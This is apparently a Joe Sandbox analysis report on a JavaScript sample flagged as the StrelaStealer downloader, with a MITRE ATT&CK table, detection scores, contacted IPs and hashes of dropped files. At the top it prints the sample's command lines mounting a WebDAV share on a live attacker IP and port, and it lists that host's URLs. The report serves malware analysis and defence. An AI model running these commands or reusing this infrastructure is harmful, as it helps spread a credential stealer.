Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
15315323282846423758.js	10%	Virustotal		Browse
15315323282846423758.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/pace%	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/rU	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/5	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2709081123.000001B560600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
http://193.143.1.205:8888/rU	net.exe, 00000007.00000002.1478315237.000001CFC9BCC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1477852191.000001B5604F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace%	net.exe, 00000007.00000002.1478315237.000001CFC9B98000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/5	net.exe, 00000007.00000002.1478315237.000001CFC9BCC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1478315237.000001CFC9B98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478315237.000001CFC9BEC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478315237.000001CFC9BCC000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588490
Start date and time:	2025-01-11 01:53:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	15315323282846423758.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.6.155.20, 3.219.243.226, 52.22.41.97, 3.233.129.217, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 4.175.87.197, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:54:50	API Interceptor	21x Sleep call for process: powershell.exe modified
19:54:54	API Interceptor	1x Sleep call for process: net.exe modified
19:54:54	API Interceptor	2x Sleep call for process: svchost.exe modified
19:55:07	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021668858722821
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA4:RJE+Lfki1GjHwU/+vVhWqpd
MD5:	A98799159BB79BF64E3913D83F31BE8E
SHA1:	1F23CAEC04C5825384A4175607A64E1A5AE04B3F
SHA-256:	E3AAFABF6EAE2EB20D47EAE6B647C25559C7E101C192BE16E6C6E5DE9A007854
SHA-512:	D732892599C9DF4B5B4E1E694BAC2A27E7447F24D70E4722210DC3A05E284518A3ACA011553E0DF1DF4AAF446427FB168253D8ED7FDAA0156C3E1537E92A23C1
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x78cf800c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432160857465185
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:LazaHvxXy2V2UR
MD5:	94B8DA8EA2969444915E181A099BC314
SHA1:	B871A6D4CFE67F5B0EDCC3FD85240F9B7521E525
SHA-256:	C9733C9996E228C8B107B6313AF24379D697B12E5AF95167AD1B55C360DBE0E3
SHA-512:	9DB29AD4CFAF0CD7950AF3063C333896CAED07E2B13800AB33B06EE98C5224E77230C07049ED586FE31621CF97AC0A8008AD357B9D0C06C08368687DF108C813
Malicious:	false
Preview:	x..... ...............X\...;...{......................0.x...... ...{s.66...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................q..L66...}....................5.66...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07954526464869086
Encrypted:	false
SSDEEP:	3:q0KYekpukrXql/nqlFcl1ZUlllliXfaMXlollGBnX/l/Tj/k7/t:q0Kzunql/qlFclQ/lQPG254
MD5:	0A00CCC4C1B400C3D8E5305A049EB455
SHA1:	2B222A26DB12D08287A67BF1398CEACF62AC928C
SHA-256:	3E7B1D4A9EEB4DAF45A4A814B3CF64FAEC3E9FE17FB15C8F459FE68E80B94EA9
SHA-512:	28A725EB06484A4F8A77C3D0BDA8A63416A4ADD4B0D398DD003BAF36750392F5FDF215F77F6DE78E282ACF51B4DE1E5E37DA7D67FC23F799A7EC14F78C354659
Malicious:	false
Preview:	.W@.....................................;...{..66...}... ...{s.......... ...{s.. ...{s.P.... ...{s...................5.66...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.162088501002576
Encrypted:	false
SSDEEP:	6:iO4vFvyq2PCHhJ2nKuAl9OmbnIFUtSvjz1ZmwsvFRkwOCHhJ2nKuAl9OmbjLJ:7aF6vBHAahFUt4jz1/+T56HAaSJ
MD5:	F931132BD2B1C4137F6C50121A623465
SHA1:	DF30D349D4E91605F36C050CCA820F870BC6FAB5
SHA-256:	1C715CC13DBF22946083F28521A0777EFEC59CCBBB18AE0FA725F735EB5E99DC
SHA-512:	E6E856987607D6D6B847C6C189A148745B2003C30E2F49C6C2CEF99CDD3472C4F54C11804C4E1FE86563F79AFDA096DF19DB0A367C03A7FCB5F192B844BF6725
Malicious:	false
Preview:	2025/01/10-19:54:54.200 1a14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:54:54.204 1a14 Recovering log #3.2025/01/10-19:54:54.208 1a14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.162088501002576
Encrypted:	false
SSDEEP:	6:iO4vFvyq2PCHhJ2nKuAl9OmbnIFUtSvjz1ZmwsvFRkwOCHhJ2nKuAl9OmbjLJ:7aF6vBHAahFUt4jz1/+T56HAaSJ
MD5:	F931132BD2B1C4137F6C50121A623465
SHA1:	DF30D349D4E91605F36C050CCA820F870BC6FAB5
SHA-256:	1C715CC13DBF22946083F28521A0777EFEC59CCBBB18AE0FA725F735EB5E99DC
SHA-512:	E6E856987607D6D6B847C6C189A148745B2003C30E2F49C6C2CEF99CDD3472C4F54C11804C4E1FE86563F79AFDA096DF19DB0A367C03A7FCB5F192B844BF6725
Malicious:	false
Preview:	2025/01/10-19:54:54.200 1a14 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:54:54.204 1a14 Recovering log #3.2025/01/10-19:54:54.208 1a14 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.152250289560754
Encrypted:	false
SSDEEP:	6:iO4vfHyq2PCHhJ2nKuAl9Ombzo2jMGIFUtSv6z1Zmwsv6lRkwOCHhJ2nKuAl9OmT:7afSvBHAa8uFUt4A1/+C56HAa8RJ
MD5:	BEA3308F044FA5D584F30C86B7EE50D8
SHA1:	29F43156B3E6346655BC73AC7288D8D1446571B4
SHA-256:	8D6C295CDFC5801E598DF57A1147F59C0EC6E2A3964A8A287B7D592E2FE43899
SHA-512:	0D4F1D4C709A5D09473221E159A065C255FB37E91BE3E3BDFFF2B5B36B93B6519162B1931D593ED94030623DBC1E2A81CBFC01BC35EE84F337B8CBE15E094962
Malicious:	false
Preview:	2025/01/10-19:54:54.329 1a50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:54:54.331 1a50 Recovering log #3.2025/01/10-19:54:54.331 1a50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.152250289560754
Encrypted:	false
SSDEEP:	6:iO4vfHyq2PCHhJ2nKuAl9Ombzo2jMGIFUtSv6z1Zmwsv6lRkwOCHhJ2nKuAl9OmT:7afSvBHAa8uFUt4A1/+C56HAa8RJ
MD5:	BEA3308F044FA5D584F30C86B7EE50D8
SHA1:	29F43156B3E6346655BC73AC7288D8D1446571B4
SHA-256:	8D6C295CDFC5801E598DF57A1147F59C0EC6E2A3964A8A287B7D592E2FE43899
SHA-512:	0D4F1D4C709A5D09473221E159A065C255FB37E91BE3E3BDFFF2B5B36B93B6519162B1931D593ED94030623DBC1E2A81CBFC01BC35EE84F337B8CBE15E094962
Malicious:	false
Preview:	2025/01/10-19:54:54.329 1a50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:54:54.331 1a50 Recovering log #3.2025/01/10-19:54:54.331 1a50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5ef1bf66-eba8-4569-8808-c1a9d9f06282.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967961042110297
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPxXsBdOg2HYJ2Zcaq3QYiub6P7E4T3y:Y2sRdsCxYdMHYJr3QYhbS7nby
MD5:	6BC149A8B3A4AE12F78BAA09C9771C0A
SHA1:	57B501294A802CF2097E6C1C14121D66D9DD92DD
SHA-256:	6EF3C87B39106FA53E2ABEC02D442874E729D1DFD298A45E52519646839302C9
SHA-512:	532C5C6D9B6233DB2988B9A7B6CF9EA90918C4A10F59C72B44D730138F79D88E0EF90D0A9BD61F91FB061C75011BABAFBB0895BDE581ED13052EA3FF5731F5AF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116906690610","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137796},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967961042110297
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPxXsBdOg2HYJ2Zcaq3QYiub6P7E4T3y:Y2sRdsCxYdMHYJr3QYhbS7nby
MD5:	6BC149A8B3A4AE12F78BAA09C9771C0A
SHA1:	57B501294A802CF2097E6C1C14121D66D9DD92DD
SHA-256:	6EF3C87B39106FA53E2ABEC02D442874E729D1DFD298A45E52519646839302C9
SHA-512:	532C5C6D9B6233DB2988B9A7B6CF9EA90918C4A10F59C72B44D730138F79D88E0EF90D0A9BD61F91FB061C75011BABAFBB0895BDE581ED13052EA3FF5731F5AF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116906690610","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137796},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2345092203798425
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b6O5Jq:S43C4mS7fFi0KFYDjr3LWO3V3aw+bH50
MD5:	976E4D73C4A38CF2C7C2CA5413753839
SHA1:	909062D15ACECE2362941E300684C992FF3B9A0E
SHA-256:	51A0884E1294371009D188834DF51F7DD3AEC066043D56A8807710EF8622C7A4
SHA-512:	B906B46D8139793A8D97C1BAD8F8D92293BB089ADDF5EA4BC29E19A2FD8E5912929787EC2D2C8076C8E057D7A402758A94D987B0218C8C0D176954DC821AFE61
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.172650308619677
Encrypted:	false
SSDEEP:	6:iO4vhyq2PCHhJ2nKuAl9OmbzNMxIFUtSvOz1ZmwsvJ9RkwOCHhJ2nKuAl9OmbzNq:7akvBHAa8jFUt401/+J756HAa84J
MD5:	4D3000B769CD496D7EAD11CF0224530D
SHA1:	AB5398EB463F6874479E6A8C088E35C996FB7094
SHA-256:	C47D797EA930B3593DF647282ACBC7273D3F050E4F5BAB42200B289650598DB7
SHA-512:	429C85588C17DDF21E77779A5F75CEA45510B902D277D4844E7455598091CBB9FD3DF9E96CB4E2D9A8081057ABE9E9A89B2D0F4AA191A6C0B00FDA3198B7BE90
Malicious:	false
Preview:	2025/01/10-19:54:54.392 1a50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:54:54.393 1a50 Recovering log #3.2025/01/10-19:54:54.394 1a50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.172650308619677
Encrypted:	false
SSDEEP:	6:iO4vhyq2PCHhJ2nKuAl9OmbzNMxIFUtSvOz1ZmwsvJ9RkwOCHhJ2nKuAl9OmbzNq:7akvBHAa8jFUt401/+J756HAa84J
MD5:	4D3000B769CD496D7EAD11CF0224530D
SHA1:	AB5398EB463F6874479E6A8C088E35C996FB7094
SHA-256:	C47D797EA930B3593DF647282ACBC7273D3F050E4F5BAB42200B289650598DB7
SHA-512:	429C85588C17DDF21E77779A5F75CEA45510B902D277D4844E7455598091CBB9FD3DF9E96CB4E2D9A8081057ABE9E9A89B2D0F4AA191A6C0B00FDA3198B7BE90
Malicious:	false
Preview:	2025/01/10-19:54:54.392 1a50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:54:54.393 1a50 Recovering log #3.2025/01/10-19:54:54.394 1a50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
